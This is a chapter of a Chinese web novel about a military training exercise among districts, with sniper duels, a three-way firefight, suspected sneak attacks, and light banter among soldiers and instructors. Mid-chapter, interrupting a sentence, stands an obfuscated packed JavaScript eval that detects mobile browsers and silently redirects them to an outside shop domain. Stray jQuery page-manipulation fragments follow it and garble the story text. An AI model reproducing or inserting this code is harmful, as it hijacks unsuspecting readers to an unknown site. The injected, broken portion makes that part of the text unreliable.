小队行进过程中没再遇到对手,倒是B组传来消息说碰到了一队三区的人,并侦察到了一区的动向,为避免混战造成不必要的损失,他们迅速收了三区几个人头就撤了,将战场留给即将到来的一区。
这样看来一区和他们的想法一样,都是率先来和好邻居三区进行友好交流。不过也要警惕三区在被夹包的情况下向一区发出结盟邀约,一旦他们两军结盟成功局面将会对他们很不利。
树木投下的影子转换方向,林间光线逐渐暗淡起来。A组的人寻了个隐蔽处搭建短暂停留点,并在各个方向设下防守,确保阵地不会被对手渗入。
侦察组则占了一处高地捕捉对手讯息,林浔提前在林子里放了诱饵信号,就算对方寻到信号找过来也只会扑空,主力队伍和高地上的侦察组是绝对安全的。
演练第一天下午称得上是风平浪静,并没有发生大规模交锋。
烟岚送许淮离开营地后回到指挥篷,见大屏上十二区的积分暂居第一,顺手拍了个照就给许淮发过去。
“可不带拍照炫耀的啊。”哈森科瘫坐在椅子上,有气无力地道。
“给我家将军看,有意见?”
“……不敢。”
烟岚瞥他一眼,收起终端走过来捏捏他肩膀,宽慰道:“将军是有事在身不得不走,这次见不到了就等下次嘛,放宽心啦。”
庄维就没烟岚有同理心了,直接催促道:“赶紧睡觉去,明早还有活等着你干呢。”
“嗷。”哈森科蔫蔫起身。
“啪!”
杨鸣珂一脸麻木地拍死手上的蚊子。
队员们或坐或站聚在一块儿,黎晏打开地图和他们讨论明天的行动路线和三组汇合地。
一区的人速度比预想的要快一点,他们需要适时调整战术。
夜色愈深,计划一一安排下去后,众人散去抓紧时间休息。
“嘶——”杨鸣珂挠了挠手背上被虫子叮咬出的红包,一瞟眼发现黎晏卷起袖子露在外面的小臂干干净净什么痕迹都没有,不由得问:“从小不是你最招虫子吗?现在怎么光咬我不咬你呢?”
黎晏还在研究终端上的地图,闻言语调闲散地慢悠悠道:“杨鸣珂你已经到了人嫌虫厌的地步了。”
说着,将兜里的药膏丢了过去。
杨鸣珂稳稳接住,拿到眼前看,语调拐着弯地“嚯”了一声,说:“这玩意儿军区给我们准备的物资里可没有,你从哪弄来的?”
黎晏站起身,“管那么多呢,用不用。”
杨鸣珂打量着黎晏的神色,大概猜到了一点,但怕把握不好度,提了不该提的东西,便只道:“用用用。”
说罢,拿着药膏就走了。小队的人轮着挨个儿用了一遍,最后回到黎晏手上时只剩个空瓶。
“……”黎晏拿着递回来的瓶子,笑了,“我说哥几个是把我这药当泥膜全身厚涂了?”
“可不得多抹点吗?这虫子隔着裤子都能咬我腚,痒死我了。”林浔盘腿坐在地上,光是那一身的药味就知道属他抹得最多。
江念眉心一跳,撇开脸,面露嫌弃。
第一个夜晚没有敌袭,平安度过。林浔一觉醒来浑身舒爽,但美好的心情还没维持多久,就被C组传来的消息打破了。
“我们今早天还没亮就遭到了偷袭,站岗的四人全被淘汰了。”
“没看清是哪个阵营的?”黎晏问道。
对面的人语气突然变得难以名状的复杂起来,“奇怪就奇怪在我们根本没有察觉到被偷袭了,一点声音都没有,还是今早换岗的时候才发现人已经被淘汰了,更离谱的是对方并没有对我们其余人下手。”
“控分怪?”林浔摩挲着下巴,脑子里全是那些看过的小说里描写的控分大神,“明明有能力淘汰更多人,但是只拿了四个头就帅气退场了。”
“挑衅?”江念道。
黎晏:“不排除这个可能。”
但是一区和三区里究竟是哪支队伍有这个实力呢?居然能在他们十二区的眼皮子底下玩神出鬼没这一套。
黎晏不爽地眯起眼,骨子里独属于哨兵的好战和征服欲在隐隐作祟。
小队想不出个所以然来,干脆先收起心中疑惑,整合队伍往昨晚预设好的集合点赶去,争取今天能把两个区的人清干净三分之二。
不过A组今天的开门红居然不是好邻居三区,而是一区。
彼时他们刚出营地没多久,还处在休息一夜过后的放松状态,一群年轻人谈论着如果当初没有选择进入军区的话,此时应该从事着什么行业。
问到黎晏时,黎晏想了一下,正要回答,林间突如其来炸开一声枪响。
队伍中一个人头盔上的发烟弹被打碎,红烟冒起。
有狙击手!
其余人当机立断四散开寻找掩体躲避,动作迅捷如风。
江念伏在一处草丛中,眼神锐利,悄然寻找着对方狙击手的位置。
四周静谧一片,只听得到风吹树叶的沙沙声和树枝上传来的不知名的鸟叫。
“黎晏,我锁定不到目标。”江念声音很轻,通过耳麦传到黎晏耳朵里。
“等着。”黎晏借着杂草的掩护,在树干后面谨慎地将枪架了起来。杨鸣珂趴在他左后方,有些紧张地看着他动作。
黎晏枪口对准前方,几乎是在他扣下扳机的瞬间,隐藏在暗处的狙击手对着他所在的位置迅速开枪。子弹刚离膛,江念射击出的子弹就划破空气,精准地射穿了对方头上的发烟弹,一缕蓝烟从草丛中窜起。
还不待众人松口气,一区的一支队伍紧接着就从斜前方贴了过来,可能是被枪声吸引,也可能是刚才的狙击手提前报的信。
两人扛着电磁速射枪试图对十二区进行火力压制,黎晏和江念寻到机会一人解决掉一个。
林浔在面对演练专用的空包弹时,依旧显得很紧张,但已经有了明显的进步,最起码不会再一边大呼救命一边对敌人狠狠射击。
杨鸣珂翻身躲到一处矮坡下,探身解决掉两个人,在切换弹夹的间隙里还有功夫夸林浔一句。
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923727|213506||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
区的作战能力在军区里完全排得上号,算不上什么好惹的主。但十二区也称不上一句善茬,“疯子窝”不是白叫的,顶着枪林弹雨还在不断往前推进,一个个像是根本不在乎自己是否会被淘汰、演练赛能不能赢,总之打爽了再说。
这场交锋持续时间不算很长,但也不短,最后以一区全队十五人淘汰结束。十二区加上刚才被狙击手淘汰掉的那一个,损失了六人。
A组清缴完一区装备后继续出发,一路上又收了不少人头积分。在一处缓坡休息时,侦察组寻到了对手的确切位置。
队伍跟着坐标摸过去,山谷里此时硝烟弥漫,枪声混杂着喊声飘进林子,惊起一群飞。看这阵势应该是两边的主力队伍正面撞上了,打得火热。刚才十二区路上遇到的那几支队伍,应该就是想过来支援,结果正巧碰上他们。
十二区本想坐山观虎斗,结果两个区的人打着打着忽然停战了。
???
黎晏一脸莫名,直接拿过林浔背着的喇叭,跟看戏的大爷似的冲着两队人悠哉问道:“怎么不打了?”
“你们在那看什么?”三区的人也拿着喇叭吼。
“当然是看你们打架啊。”
一区、三区:“……”
面对两方的沉默,黎晏忽然想起了什么,趁着这个功夫直接问:“你们谁不讲武德搞偷袭啊?偷袭就算了,还非常嚣张地只灭了我们站岗人员。”
一区:“不是你们今早偷袭的我们?”
黎晏:“可不兴污蔑人啊,我刚可没说是早上,就是你们一区干的了吧?”
三区也忽然加了进来:“我们今早正好也被偷袭了,怎么会这么巧?不会是你们两区合起伙来演二人转给我们看吧?”
三方问来问去都觉得是彼此在撒谎,最后谁也不信谁,干脆开始了三方混战。山谷里一时间不断交错着飘出红、黄、蓝三种烟雾。
不知过了多久,十二区的B组C组及时赶过来支援,火力瞬间提升一大截。另外两区见势不妙,默契地达成合作,各自留下一部分人掩护,剩下的全撤了。
十二区没有继续追的打算,经过这一场,他们也被淘汰了不少人。不过就目前看,积分第一应该还是他们。
黑夜沉沉地笼罩住整座山,指挥篷里待着的教官们昏昏欲睡,全息屏上的分数却还在不断跳动。
方缙尧站起身伸了个懒腰,打着哈欠说:“他们都不睡觉的吗?现在还在折腾。”
烟岚趴在桌上冲瞌睡,闻言强撑开眼皮,迷迷糊糊地问:“要走了?”
“嗯,时间差不多了。”方缙尧推了推已经趴在桌上睡着的哈森科。
哈森科赶蚊子似的“啪”地拍开方缙尧的手,转头继续睡。三区的总教路过,一脚就踢他椅子腿上了。
哈森科被踹得吓一跳,整个人坐起来时还是懵的。
褚卫萧作为外援教官也待在指挥篷里,笑着嘱咐道:“天黑了,小心点别摔着。”
“放心吧,”烟岚站起身活动了下身子,“要摔也是哈森科摔。”